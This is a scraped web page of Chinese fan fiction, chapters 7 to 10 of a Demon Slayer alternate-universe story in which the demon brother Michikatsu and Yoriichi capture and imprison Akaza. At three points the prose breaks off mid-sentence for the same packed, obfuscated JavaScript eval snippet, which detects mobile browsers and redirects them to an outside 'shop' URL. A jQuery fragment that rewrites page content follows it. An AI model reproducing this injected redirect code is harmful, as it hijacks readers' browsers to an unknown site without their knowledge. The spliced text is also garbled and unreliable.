《神之子弟弟不可能这么喜欢我》 7. 继国家 继国严胜睁开了眼睛。 他发现自己正在阳光里。 微微抬高头,继国严胜看到高悬于天空的太阳。皮肤有灼烧的感觉,但却并不是真实的伤害,只是因为自己惯性的潜意识,才感到的痛苦。 这是就是缘一的精神世界。 环顾四周,继国严胜很轻易就认出来这是哪里: 继国家。 他们从出生开始,每一日每一夜,都一起度过的地方。 继国严胜曾经得到过最多痛苦的地方。 缘一美好的梦……是发生在这里吗?继国严胜哂笑一声。他用拟态改变了一下自己的样貌,又扭曲光影来掩饰自己的行踪,虽然瞒不过缘一,但应付普通人,肯定是足够的。 就让我来看看缘一到底是在做什么梦吧。 幼小的鬼轻巧地踏过石路和木板铺就的房间,循着人声,走到一处熟悉的地方。 一个看上去六七岁的孩子,正背对着严胜,在这烈日下,独自举着剑。他非常认真,即使日轮高悬,也没有一丝分心,白皙的皮肤上流下细密的汗水,一双幼嫩的手也被磨得伤口累累。 这里是剑术场。 而这个人是…… “兄长大人!” 一道声音从对面方向的房间传来,伴随声音,一个身影从里面蹿出来。他有着一头披散下来的毛茸茸的卷发,一张脸平日里没有表情,只有在面对严胜时,才会闪起亮光的眼睛—— “兄长大人!”那孩子又喊一声,喊正在训练的孩子,“您还在练习吗?” 道场上的孩子停了下来。 放下了剑。 他转过头,继国严胜看见那个“严胜”身上的衣襟,并认出这是继承人才能穿着的衣物。严胜在心里冷笑一声,一股怨毒忽然从内心深处蔓延上来。 这就是你的美梦? 我成为继国家的继承人,而你辅佐我身边……这就是你心里所谓的“幸福”? “今日的训练已经结束了。”幼时的、继国缘一梦中的“严胜”,对梦中的“缘一”微笑。这笑容让真正的继国严胜想吐,“我现在在加练。” “兄长大人好厉害,以后一定能成为这个国家第一的武士。” “那缘一你要成为这个国家第二的武士。” “严胜”对着“缘一”招招手,将快乐的弟弟抱进怀里,揉了揉他毛茸茸的头发,继国严胜冷眼旁观着这一切,然后看见四周忽变: 春去秋来,大雪落了五年。 两个孩子倏忽长大了。 这一年……严胜记起来:是父亲死亡的日子。他看着父亲的那些下属纷纷跪下哀悼,在奢侈隆重的葬礼后,梦里十岁的“严胜”,披上了代表家主的羽织。 “从今日开始,我会带领继国家,而我的弟弟缘一则会辅佐我。” “严胜”对着下属和佣人们宣告,“我会成为超越父亲的武士。” 手掐入手心。 继国严胜已经不知道自己现在是什么心情。他面无表情地看着站在一旁、一脸开心的“缘一”。他知道这个就是真正的缘一。 正在为这种拙劣得令人恶心的梦而感到无比快乐的继国缘一。 那种对神之子的弟弟,经年累月的憎恨,强行压抑下去的嫉妒,在这一刻忽然又烈焰燃烧般升腾起来。继国严胜倏然转过身去:他不能再看下去了。 再看下去…… 他就不知道自己是否能够维持平日里微笑纵容的模样,强忍着恶心。摸着弟弟的手。告诉他。 “我永远留在你身边。” 这种话了。 居然为了这种梦不肯醒来,缘一,你终归还是这么懦弱。严胜无视身后的一切,走到梦境的边缘,变长指甲,毫不犹豫地划开! 丝毫不意外地看见污黑翻卷的,黑色污浊的世界。 看来内心生病的人也不止我一个。严胜笑了笑,慢慢走了进去。他首先看到被吓到瘫软在地的女孩,将人吓晕后就随手丢到一边,自己独自走到那颗太阳身边。 他冷漠地看着那颗绝望的太阳。缘一的精神核心。 然后伸出手。 一手捏住那颗灼烧的太阳! 这个行径一看就极其疼痛,严胜的手几乎立刻开始灼伤,溢出浓重的血液,而他只是冷笑一声,继续往下捏,不顾那颗太阳的颤抖和自己流血的手,加重力气,狠狠地攥下去: 兄长大人。 严胜的手指颤抖了一下。 兄长大人。兄长大人兄长大人兄长大人—— 闭嘴! 继国严胜深吸一口气。他缓缓放开了那颗太阳,拖着流血的手,他转身,沿着来时的路,准备回去,慢慢毁掉弟弟这恶心至极的梦境…… “铮” 继国严胜睁大了眼睛。他猝然抬起头,感应到外面世界的突变。一股极其熟悉的、曾经他只在缘一身上感受到的东西,惊雷一样贯彻了他的身体。 这是……日之呼吸? 缘一在沉睡,谁用出来的?!这明明是他也学不会的东西,难道…… 不能再玩下去了。继国严胜站起身,几步跨越少女跑了很久才跑过的距离,离开精神核心所在的世界,重新进入梦境,此时“严胜”和“缘一”的样子已经将近二十岁了,而继国严胜无动于衷。 他面不改色地落到“缘一”面前,不顾身后“严胜”愕然的脸,倏忽伸出手: 狠狠捅穿了继国缘一的心脏! “缘一,”继国严胜冷冷说:“给我醒过来。” - 继国缘一猛然睁开眼睛。 面前的一切和他睡着前都截然不同,恶臭的血肉,倾斜倒塌的列车,他茫然地往自己身下看去,看到自己的哥哥正伏在自己膝盖上,手腕系着绳子,和自己连在一起。 兄长大人……? 他注意到那些血肉似乎都不敢靠近自己,不知道是因为兄长,还是因为自己身上的气势,继国缘一伸手解开绳子,看到兄长慢慢睁开的眼睛。 “兄长大人,”继国缘一对上严胜的视线。他喃喃出声:“缘一做梦了……” 继国严胜看着他。 “我做了一个很好的梦,梦里,缘一不是继承人,兄长才是,兄长带领着我,我们一起成为了国家最好的武士……” “我很开心,但是,又觉得哪里不对。忽然之间,看到了变成鬼的兄长大人,出现在缘一面前……然后。” “捅穿了缘一的心脏。” 继国严胜的神经微微绷紧。 而继国缘一仍然用梦游一样的声音说话:“您还喊了缘一的名字,对缘一说,让我醒过来……” “果然,” 缘一要说什么?继国严胜攥紧自己的手。他不顾倒塌的列车和周围尖叫的人群,只是死死盯着自己的弟弟:要对我说什么,太狠心?太过分?心里根本没有继国缘一这个弟弟—— “原来,就算是梦里的兄长大人,也果然还是……” “最爱我的。” 继国缘一露出一个如梦似幻的,飘渺的微笑。就这样,宛若正午日光一样温暖到足以烫伤人的目光,看着继国严胜。 让继国严胜狠狠咬紧自己的牙关。 让他从齿间勉强露出一丝笑音。“嗯,”他说:“我最喜欢缘一。” 我一点都不喜欢你…… 继国缘一。 - 操纵人梦境的恶鬼,似乎在严胜进入缘一梦境时被斩杀了。 继国严胜并不在乎那鬼如何,或者列车上的人有没有幸存,这些人在他看来,根本不如炭治郎使用出来的日之呼吸重要。 不过看起来炭治郎这小子,仅仅用了一招,就在地上动弹不得了。继国严胜挑剔地看着远处趴在地上,被炼狱杏寿郎指导呼吸的炭治郎,他此时正坐在列车的阴影下,和祢豆子一起,听着善逸嗷嗷的尖叫声。 “好可怕,好吓人!里面恶心死了啊啊啊,听起来好恐怖呜呜呜呜呜幸好有炼狱先生啊啊啊啊!” 好吵。继国严胜冷漠地扭过脸去。忽然他眯起眼睛。 “缘一。” “我在,兄长大人。”继国缘一低声说,“有新的鬼来了。” 他们坐在人群聚集的地方,继国缘一抱着严胜,为他遮掩人类的目光。而两人此时都望着远处: “实力不算弱的鬼。”继国严胜开始感到有趣。他饶有兴致地扯了扯弟弟的袖子,“我们到前面点去。” “要帮忙吗,兄长大人?” “等一等。”继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107827|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国严胜睁着六只冰冷的金色的瞳孔。他看着远处执刀的炼狱杏寿郎,与其说是因为担心,不如说是单纯的、看到有趣事物的兴味而已。 “等他们都使出真本事,让我看尽兴之后,”他轻飘飘地说,“我们再过去。” 缘一毫无异议地点了头。 这是一场很有看头的战斗。 即使是自幼与继国缘一这种人一同长大,对天才和强大已然不敏的继国严胜,也能够欣然承认这场战斗的价值。 身经百战的□□,磨练得当的技艺,继国严胜同时眯起六只眼睛: 好有趣…… 炎之呼吸,伪劣的抄袭品,但能使出这么多种型,也着实让人改观…… 而对面这只鬼,是以体术见长,言语间不惜变成鬼来换取提高武艺的时光的观点,让继国严胜也觉得很有意思。 对至高境界的追求,用这种理由来蛊惑柱的堕落。那个面上有蓝色鬼纹,表情兴奋的鬼,正在用一种看到难得的宝物般的表情,直直地看着炼狱杏寿郎,因为炼狱的实力,而诚恳地向他发出变成鬼的邀请。 他开始有点喜欢这只鬼了。继国严胜看了看对方的眼睛,上面是上弦的字样,这么多年了,那个鬼舞辻无惨还是喜欢搞什么上弦下弦么?真无聊。 “炎之呼吸·伍之型 炎虎!” “破坏式·乱式!” 烈焰色的虎状气流和蓝色的空气升起,几乎燃烧一样映亮漆黑的夜空,炼狱杏寿郎抿紧嘴唇,睁大眼睛,他眼睁睁看着那被命名为破坏式的术刺破自己的剑法,冲进剑衔接间的乱流。 躲不开了,他下意识握紧刀柄,屏住呼吸,想以最小的损害接下这几乎必死的一击—— “到此为止了。” 一道呆板的,轻盈的声音落入两人中间,宛若太阳降临,仅仅一刀,斩破了对战双方全力使出的攻击! 深红色发的男人从天而降,纯红色的羽织被气流冲得升天而起,而他毫无波动的脸上没有一丝凌乱的动容。 只是存在着,就会让人感到恐惧。 “请两位停下手吧。”用这样没有感情也没有波澜的语气,平静地说着话。继国缘一稍侧身,挡在炼狱杏寿郎身前,表明自己的立场,“不需要再打了。” 因为他来了。 炼狱杏寿郎惊愕地睁大眼睛。在这宝贵的空隙,他极尽调整着自己的呼吸,封闭流血的血管,他喘着气,看着身前的继国缘一。 以及对面那只突如其来的鬼猝然睁大的眼睛。 “……黑死牟?” 那只鬼喃喃道。 而炼狱杏寿郎心里一惊。 从天而降的继国缘一,当然不是一个人来的。 他怀抱里抱着一个孩子。一个看起来非常年幼的,手脚又圆又短,长相极可爱的孩子。那孩子乍看只会让人心生怜爱,可如果像此时,一起睁开六只金色眼球,同时露出恶魔般微笑的话—— “你认识我?”继国严胜露出一个施舍的笑容,“那看来不能轻易杀死你了,怎么样,你主动投降的话,我就不斩断你的手脚……” “如何?” 对面那只鬼显然被激怒了。他双目圆睁,从里面溢出血丝,眨眼间重整架势,他从喉咙里喊出招数的名字:“破坏式·终式——” 日轮升起。 继国缘一举起了刀柄。 他神佛一样无情的脸上没有任何人类会有的情绪。继国缘一只是轻轻横过刀: “日之呼吸·陆之型 灼骨炎阳。” 然后鬼掉落下去。 表情在一瞬间凝固。 他呆呆地看着站立着的继国缘一,以及对方仿佛燃烧着太阳般血红色的刀锋。 看着对方冰冷的脸,以及如此一击后丝毫不乱的衣襟,安坐在他怀里,连发丝都没有凌乱一点的孩子。 看着那个幼小的鬼金色的眼睛。 “说了你投降的话,就不切断你的手脚的。”那幼鬼微笑着:“你看,现在就只好这样了。” “——只好把你全部斩断了。” 掉在地上的,是只剩下身体躯干、四肢尽数被斩断,而断口处无论如何都无法再生的猗窝座: 除了在无惨和黑死牟手中,从未尝过败绩的上弦之三。 8. 囚禁 “……好厉害。” 趴在身后,方才一心焦灼的灶门炭治郎,此时呆呆地睁大眼睛。 他从喉咙里喃喃出声,“缘一大人,好厉害……” 一旁的伊之助显然也被吓到了,身体还在微微战栗。 两个也经历过不少战斗,曾斩杀了下弦之五,方才合作砍断下弦之一脖颈的少年,此时甚至动都难以动弹,只能看到异次元一样,看着前方的两人两鬼。 落在地上的猗窝座显然愤怒至极,但又无力改变这境地,连伤口再生都做不到,只能眼睁睁看着自己被继国缘一提起来,然后装东西一样塞进了某个密封不透光的袋子里。 “我会看管他,”继国缘一甚至对着惊愕的炼狱杏寿郎说,“无需担心。” “……听说鬼和无惨都有特殊的联系,您今日一战,恐怕无惨很快就会知晓。” “无妨,”继国缘一摇摇头,“兄长大人曾同产物敷阁下说过,我们针对无惨和鬼的联系想过办法,无惨虽弱,但他却很擅长逃跑躲藏,为了杜绝这点,兄长大人想办法斩断了自己和鬼舞辻无惨的联系,并可以暂时烧断其他鬼的联系,即使是上弦,也尽量不让无惨感到异样。” 无惨虽弱?不远处的炭治郎沉默。 而炼狱杏寿郎显然比炭治郎更能接受缘一的脱线,“这真是神乎其技!”他感慨。 继国缘一点点头。方才他被炼狱杏寿郎敬佩,没有任何高兴的意思,此时严胜被夸,他反而相当开心。 他看了眼天边,发现日光开始熹微,“兄长大人,天快亮了,缘一先将您抱进箱子里好吗?” 严胜点点头。他恋恋不舍地看了看那个渗出鲜血的袋子,“这只鬼的情报……” 他似乎很在意那个“黑死牟”的名字。 “我将您带回鬼杀队的地方,就将它放出来。” 严胜满意地点点头,进到箱子里去。 而炼狱杏寿郎多少才从恍惚中反应过来。 他喘了口气,捂住自己的伤口,“真的多谢您和严胜大人,否则我今日或许凶多吉少。” “你很优秀。”缘一摇摇头。看到三个少年朝自己这边冲过来。 一边跑一边洒泪,“炼狱大人!缘一大人!” 炭治郎第一个跑了过来。明明他伤得最重,此时却最精神,雀跃地围着两人转,“您真的太厉害了,炼狱先生也是,太强大了,这就是柱的实力……” “缘一阁下才是,我还应更加精进。”炼狱杏寿郎摇摇头。他似乎已经止住血了,用刀将自己支撑起来,“缘一大人。” “?”继国缘一看了炼狱杏寿郎一眼。 “之前面见主公时,虽然感到您非凡的强大,但对您曾杀死无惨这一点,我也曾有过疑虑,毕竟您也说过,无惨最擅躲藏,多强大的人都很难抓到他的把柄……” “不对。” “……?”炼狱杏寿郎和几个少年歪了歪头。 困惑地看着冷不丁反驳的缘一。 什么不对,无惨会躲不对?可这不是继国缘一刚刚自己说的么…… “不是我杀死了无惨,”继国缘一说,“我曾与无惨正面撞见过一次,虽然只将它切割成上千块,” 炭治郎:“……”只? “但我没能杀死它。” 继国缘一的神情变得冰冷下去,“而它为了报复我,将兄长大人变成了鬼。” “这我们都知道了,”炭治郎说,“可之后,不是您又找到了无惨,将它给杀死了吗……?” 继国缘一摇摇头。 “并非缘一做的,”他说:“在我的世界,后来找到无惨,亲手杀死无惨的——” “是兄长大人。” 灶门炭治郎的刀唰的掉落在地。 - 无限列车事件解决得相当顺利。 击杀排位下弦的恶鬼,鬼杀队无人伤亡,甚至连两百余名乘客都没有人死亡。 这可以说是极其难得的大胜利。 而其中最瞩目,也最让鬼杀队众人欣喜若狂的,自然是继国缘一最后的出手: 生擒上弦之三。 这位自曝名为“猗窝座”的鬼,被继国缘一随身带到鬼杀队的一处驻地,并在此,继国缘一和其兄长等待了一天。 仅仅一天。 九位散落全国各地,各有巡逻保护任务,为了击杀恶鬼保护队员和普通人无比忙碌的柱—— 就纷纷赶了过来。 继国严胜原本并没有注意到这件事。 他抓到了那只眼睛里有上弦和三字样的鬼,还发现他貌似认识自己,心里自然非常高兴。 但还来不及审问,得出更多的情报,产物敷耀哉就找上门来: “严胜大人,”双目失明的男人朝他俯身,“感谢您对杏寿郎的救助。” “无妨,只因我们有共同的一个目标罢了。”严胜随意挥挥手,并不当回事:这对他来说确实就只是指使缘一一句罢了,“更何况,那上弦和你的杏寿郎,在武艺上都还算有些看头,着实娱乐了我一番,只不过回馈而已。” 产物敷耀哉微微一笑,“即使如此,我还是要同您道谢。” 严胜挑了挑眉。他也对着产物敷笑了,“你的目的——不仅于此吧?” 看了看四周,严胜孩童般的脸上露出戏谑的微笑,“一、二、三……九个人。” “所有柱都被你喊过来了,是吗?” “果然还是瞒不住您。无论是遇到上弦而有人存活、还是生擒高层的恶鬼,这都是百年来的第一次,我无论如何都不想放过这一次机会,想要将无惨,在我这一代之中……” “斩于刀下。” 产物敷耀哉微笑着。他那张青白无色好像下一秒就会死去的脸,此时因说出的愿景般的话语,流露出强烈的狂热和孤注一掷的执着。继国严胜只在很少人脸上看到过这样追逐某件事情的执念。 曾经的自己算一个。 而产物敷耀哉…… 继国严胜想了想,最后还是点了头。 “我知道了,”他说:“我可以把猗窝座交给你们。” 产物敷耀哉的笑意加深:“感激不尽。” “只不过——我不许你们立刻杀死他。” 产物敷愣了愣,“您这是……” “一方面,虽我只与这只鬼说过几句话,但我估计他不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107828|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易开口,说出我想要的信息……另一方面。” “你们的实力太弱。” 门扉后传来东西砸落的声音,产物敷感到自己额上垂落的冷汗,而继国严胜仿若未决一样: “若是你们几位柱加起来,或许可以杀死猗窝座。可无惨对上弦的联系远远强于其他的鬼,他必定知晓无限列车事件中的部分情况,仅仅炼狱一人,不可能杀死他。一旦无惨察觉到猗窝座不仅仅是失联,而是死亡……” 继国严胜的眼睛眯了起来,“那他或许就会警惕。甚至……躲到地下,再也让人找不到。” “作为产物敷此代的主公,你应该懂得类似的经历。对吧?” 产物敷耀哉的神色凝重起来。“感谢您的指点。”他再次俯身,向严胜郑重地道谢,“不愧是另一个世界中杀死无惨的存在。” “你知晓了?”严胜挑眉。 “鎹鸦告诉了我发生的一切。” “你们的消息倒是灵通,”严胜冷哼一声,“那些柱也不要躲着了,出来说话吧。” 拉门瞬间被人扒开,“你这个——” 严胜一瞥过去,看见被人拉住的不死川实弥:他的嘴被一旁的水柱捂住了,手则被炎柱拉住。 “请不要用这种语气对严胜阁下说话!”脸上缠着绷带,但看起来精神相当好的炼狱杏寿郎目光炯炯,“严胜阁下是值得尊敬的人!……鬼!” “哈?就这个恶鬼——” “主公大人,日安。”蝴蝶忍显然更懂得如何让不死川实弥安分下来,她笑眯眯地和产物敷问好,果然,不死川瞬间好好地坐了下来,俯身向产物敷问安。 “谢谢各位,但不必多礼。今日召集大家相聚,是因为昨日的无限列车事件。在这一次行动中,杏寿郎、炭治郎、善逸、伊之助几位鬼杀队员,以及继国缘一大人和严胜大人,生擒了上弦之三,名为猗窝座的恶鬼。” 柱们的神色瞬间改变了。 为了保证信息不被泄露,无限列车事件的细节并未使用鎹鸦来传递,大部分柱是根本不知道原因而被传唤来的。 虽然他们心中也有了揣测,毕竟这样的紧急传唤可谓是相当少见,但这样的、这样的…… “这么好的消息!”最先出口的是甘露寺蜜璃,她瞪大漂亮的眼睛,将双手交叠在嘴唇前,“我、我都不敢相信了,炼狱先生,这是真的吗?您打败了上弦之三吗?” 炼狱杏寿郎双手抱肩,感受到同僚们把目光聚集到自己身上,重重一点头,又重重一摇头,“自然是真的,虽并非我所做,但我亲眼所见!恐怕现在那只鬼,就在我们下方的地牢内吧。” “那还等什么?”音柱宇髓天元瞬间站起来,“鬼狡猾多端,稍微的犹豫,或许他就用什么不知道的秘法逃得一干二净,战斗正是要迅速才对!” 其余几位柱虽没说话,仍沉浸在这一震惊消息中,但大多露出赞同的神色。 只有产物敷耀哉和炼狱杏寿郎不为所动。这位足智多谋、隐忍克制的此代产物敷主公笑了笑,慈爱地看着柱们: “你们说得很对,我的孩子们。不过……” 他说:“恐怕那只鬼做不到逃走了。” 9. 超出常理 鬼杀队驻地,地牢深处。 一道粗重的喘息,嘶吼一般,回荡在漆黑污浊的牢笼之间。 一道道火把,随着来人的足音,一根根亮起。伴随着产物敷众人到来的脚步声,一个深红色的背影站在牢狱之间,他手里松松按着日轮刀的刀柄,姿态放松,仿佛眼前关押的并非是什么一瞬就能斩杀上百人的恶鬼一样。 而众人走近,才知道其中玄妙。成为柱不久、又丧失了大部分记忆,心智方面可谓用纯洁无暇来形容的时透无一郎甚至睁大了眼睛: “……天哪。” 让他说出这样震惊之声的,正是最深处的恶鬼。 上弦之三、拥有桃色头发和金色眼睛的鬼,此时正被锁在丁字的铁架之上。他的四肢尽数被斩断,躯干上只剩下头颅,气息奄奄地垂在脖颈上。 虽然因听到动静,那头颅扬了起来,而又因为看见鬼杀队员而目眦欲裂,但却只是强弩之末,垂死挣扎的蝼蚁一样。 更让人吃惊的是: 鬼每一处伤口的断口上,都仿佛燃烧着火焰一般,剑所铸就的气势一刻不停地燃烧,让再生成为了一种不可能。而心脏的位置,则深深插进了一把日轮刀,让鬼动弹不得。 “鬼杀队……”那只鬼从喉咙里嘶吼出咬牙切齿的声音:“我要杀了你们……!” 他面前的男人无动于衷,只微微侧脸,看到人群中的严胜便露出浅淡的微笑,“兄长大人。”继国缘一走上前去,把严胜抱了起来,“缘一按照兄长大人所说,将他锁在这里了。” “做的很好,缘一。”继国严胜驯狗一样摸了摸弟弟的头,扭头,看着猗窝座怨恨里藏不住震惊的眼神。 继国严胜素来是懒得在意败者的人,此时就算猗窝座瞪他瞪得眼睛出血,他也不会有一点在意。 不过下一刻猗窝座的声音让他提起点兴趣: “你竟敢背叛无惨大人……无惨大人不可能放过你的!” 继国严胜笑了一下。他状若无谓地看向猗窝座:“是么?怎么不放过我?” “他一定会杀了你,”猗窝座满眼血丝,“至于我,我一定会去向无惨大人祈求,我会亲手把你杀死——就像我承诺过无数次的那样!” 这小孩看来还跟这个世界的自己打过不少次?严胜若有所思,他现在觉得自己就像坏蛋大人一样,正在骗小朋友嘴里的糖,用这张小孩子的脸欺骗猗窝座情报。这种感觉…… 真是好透了! 他甚至快压抑不住自己声音里的愉悦,“那又如何?你现在连从我手心里逃走都做不到,要怎么找到无惨大人?说到底,猗窝座,你还是太弱了,所以到现在都无法追赶上我。” “住口!!!” 猗窝座连缩小到一点的瞳孔都要染上血色。他声嘶力竭地咆哮,“我一定会追上你,上弦之一,你坐在这个位置太久了,自以为自己能够建立不变的秩序!只要我逃出去,去找无惨大人——” 他猝然止住了声。 脸色忽然变得空白。 继国严胜抑制不住地笑出声来,“哈哈哈哈哈哈哈哈!”他笑得眼泪都要流下来,六只眼睛都笑得有点痛了,这样不端庄的样子显然让柱们都感到无比惊愕,看着严胜笑,纷纷缩了一下。 “——才注意到吗?”严胜终于停下了。他仍然笑意盈盈,就这么看着惊诧的猗窝座,“我不是你认识的那个黑死牟……” “你才发现这一点啊?” “……”猗窝座发出要窒息的声音。 而继国严胜仍不肯放过他,“甚至差点把鬼舞辻无惨的所在地泄露给我……猗窝座君。” “你比我想的还要粗心。” 猗窝座的呼吸已经粗重到让人觉得他暴怒的程度。即使是在场的柱,身体稍没那么强健的,也难免落下冷汗:这就是上弦的实力。 即使是这种状态……也能散发这样的威压。 “算了,不玩你了。”继国严胜似乎是终于觉得无趣了,他扭头,望向抱着自己的缘一,“缘一,你问出来没有?” 继国缘一摇头,“这只鬼人类时期的记忆,我没能问出来。” “出了什么差错?” “这只鬼似乎没有了人类时期的记忆。” 继国严胜挑眉。 他再次把目光转向死死盯着自己的猗窝座身上。 杀鬼之前,尽可能得知对方变鬼前的人生以及成为鬼的原因,是缘一的习惯。 或许是因为自己这个哥哥,因为实力不济,曾丢脸地被鬼舞辻无惨掳走,强行转变成鬼,自那以后,每每缘一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107829|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀鬼,都像是惧怕有什么误会一样,一定要尽可能问清楚才会动手。 虽然几乎每一次都是失望,鬼往往都是因为无比自私自利的原因才堕落成鬼,但缘一仍然乐此不疲。 严胜也不阻拦,反正缘一够强:他就是要这些鬼给他跳舞鞠躬转圈圈再把它们杀死也无所谓。 不过…… 没有记忆? 更想笑了。继国严胜坐在缘一怀里,看着猗窝座。 “真可悲,”他居高临下地、轻飘飘地说:“连自己姓甚名谁、曾经有什么经历、作为谁的儿子和兄弟,是否有过爱的人——” “这些事情都不知道,就堕落成了鬼。” “你可怜得让人下不去手杀掉了。” 猗窝座凝固了。 然后暴起。 他疯狂地挣扎起来,从喉咙里发出地狱里才能听见的尖锐的嘶鸣,被斩断的四肢拼尽全力地蠕动着想要复原,即使一遍遍被日光般的火焰燃烧也不肯停下,看着继国严胜,仿佛那是世界上最可恨的东西,恨得一定要碎尸万段万般虐杀直至死得彻底才解恨的东西: 黑死牟——不、这个长得和黑死牟一模一样,却比那个上弦之一还要恶劣、扭曲、黑心一万倍的幼童模样的恶鬼!!! 我要杀了他。猗窝座在心里恨得几乎要滴血,我要杀了他——! “铮” 继国缘一的手轻轻动了动。 刀出鞘了一秒。 然后回归原位。 而猗窝座的视线忽然变得一片漆黑。他呆滞地停下了动作,只有嘴唇在茫然地呼吸着: 发生什么了? “不要用这种眼神,看我的兄长大人。” 继国缘一的声音,远远听来,宛若全世界最无情最可怖的神灵。 柱之间寂静。落针可闻。 空气里只剩下血滴落到地上的声音,无论是多强大的柱,此时都不敢出声,只眼睁睁看着猗窝座脸上一双招子,被继国缘一砍瓜切菜般,毫不费力地划断。 ……好可怕。 这一对兄弟,即使是产物敷耀哉,此刻心里也不由得变得凝重。 就算有着同样的目标,也太过难以掌控、超出常理。 让人觉得…… 惧怕。 10. 炼狱家 继国缘一抱着箱子,离开了地牢。 划烂猗窝座的眼睛之后,继国缘一就无意留在那里,严胜似乎也不反对,于是就将这只上弦鬼留给鬼杀队的柱。 “我已经用日之呼吸封禁了他的伤口,十日之内,这火焰不会熄灭。”继国缘一面色平平地说着恐怖的话,“之后我会再来补上,请不要杀死它。” 甘露寺蜜璃摸着自己的发尾,虽然觉得大逆不道,但居然对那个叫猗窝座的鬼,感到了一丝同情。 可能死了还幸福一点吧…… 对于柱们怎么想,严胜自然是不知道也毫不在意。他搂着弟弟的脖子,跟着缘一,来到了蝶屋。 找到了正躺在床上动弹不得的灶门炭治郎。 “接下来你要做什么?” 正在床上努力恢复的炭治郎,听到这句问话,感觉自己的伤口都开始复发了。 他颤巍巍地说:“严胜大人,您问这个是……” “自然是我要继续跟着你了。”继国严胜理所当然地说,“你那个火之神神乐,便是日之呼吸,除了你之外,我从未见过成功学会日之呼吸的人。更何况你又似乎总能遇到还不错的鬼,给我稍微贡献一点乐趣。我不跟着你,平日里还能做些什么?” 您当然有事情做……比如您只要回头看看,就能看到正一脸渴求地看着您,希望您陪他玩的缘一大人…… 灶门炭治郎当然不敢把这句话说出话,他只能打着哈哈过去,“我准备再静养一两天,就去拜访炼狱阁下。” “炎柱?” “是的,”炭治郎神色认真,“回来的路上,炼狱大人告诉我,历任炎柱的手记中或许有我提到过的火之神神乐,啊,也就是您告诉我的日之呼吸,我想去看看。” 严胜沉思片刻。 按照炭治郎对他的理解,还以为这位祖宗会不屑地说“为什么要去找炎柱?正经的日之呼吸创始人不就在这里么!”,同时再对鬼杀队这些呼吸法的弱小好好鄙视一番…… 但严胜居然点了头:“我与你同去。” 什么?!炭治郎傻了,“这、这……为什么?!” “历任炎柱,虽然听起来也不过如此,但好歹也会是几百年传承下来的东西吧。”严胜饶有兴致,“我也有几分好奇外人眼里的日之呼吸。” “……” 炭治郎感觉自己搬石头砸了自己的脚。 对不起。他在心里对炼狱杏寿郎道歉,炼狱阁下,我不是故意把严胜大人带过去找您的…… 如果他说您弱……或者说您的历任前辈弱…… 请您一定一定要忍耐啊!!! - 可惜炭治郎并不会心灵传音。 在他还没来得及把这件事先和炼狱杏寿郎通气之前,他就被继国缘一提了起来: 然后一路提去了炼狱家。 “炭、炭治郎的伤还需要修养……” “不用了,我看他现在绝对可以跑个一天一夜。”继国严胜冷酷地拒绝了泪眼汪汪的蝶屋女孩们,“我把他带出去一天,再还给你们。” “炭治郎——” 无视身后喊叫着的女孩们,自顾自把自己塞进箱子里的继国严胜,“炭治郎,你人缘很不错么。” 冷汗直冒的炭治郎:“严胜大人也很受欢迎的!” 箱子里传来一声冷哼。 而箱外的继国缘一极认同地点了点头。 “正是,”他一脸认真,“兄长大人一直很受人喜欢,即使成为了鬼,也是最受欢迎、最神武的鬼。” “……” 忍住啊,炭治郎!!! 炼狱家所在的地方,距离这一处蝶屋据点并不算远。 只用不到半天的功夫,炭治郎就跟着鎹鸦找到了地方,他们敲了敲门,很快,一道金红色的旋风就来开了门。 “唔!”炎柱出现在门前,发出了意义不明的声音,“你们来了!” 他看起来已无大碍,身为柱,强大的呼吸法给他们得天独厚的修复能力,虽然内脏的损伤不可避免,眼睛也有很长时间无法见光,被绷带缠上,或许有一段时间不能出任务…… 但只要活着。 只要活着,就会有希望。 炭治郎不想再经历一次亲近的人死亡了。 就是炼狱阁下这热烈的眼神真的让人有点招架不来啊……果然还是一如既往的有精神……好耀眼…… 炼狱大人是不是还说过要收他为继子来着? “打扰了,炼狱阁下。”炭治郎冷汗直冒,他率先低头打招呼,希望炼狱阁下不要记得这件事。他自己倒是无所谓,甚至非常乐意和高兴,可若是严胜大人要一直跟着自己的话…… 那炼狱阁下也太可怜了吧!!! 炭侍郎:“谢谢您来接我们,我们是来……” “我知道,是来找手记的对吧!” “对的对的!” 炭治郎和继国缘一一同走进去,很快,作为身经百战、感知被磨练得无比敏锐的两人,发现了一道盯着他们的、小小的视线。 缘一顺着看过去,看到一个矮小的男孩,那孩子有着和炼狱杏寿郎如出一辙的金红色的头发和瞳孔,穿着传统的剑道服,脸蛋可爱,动作拘谨,正小心翼翼地躲在门后看着他们: 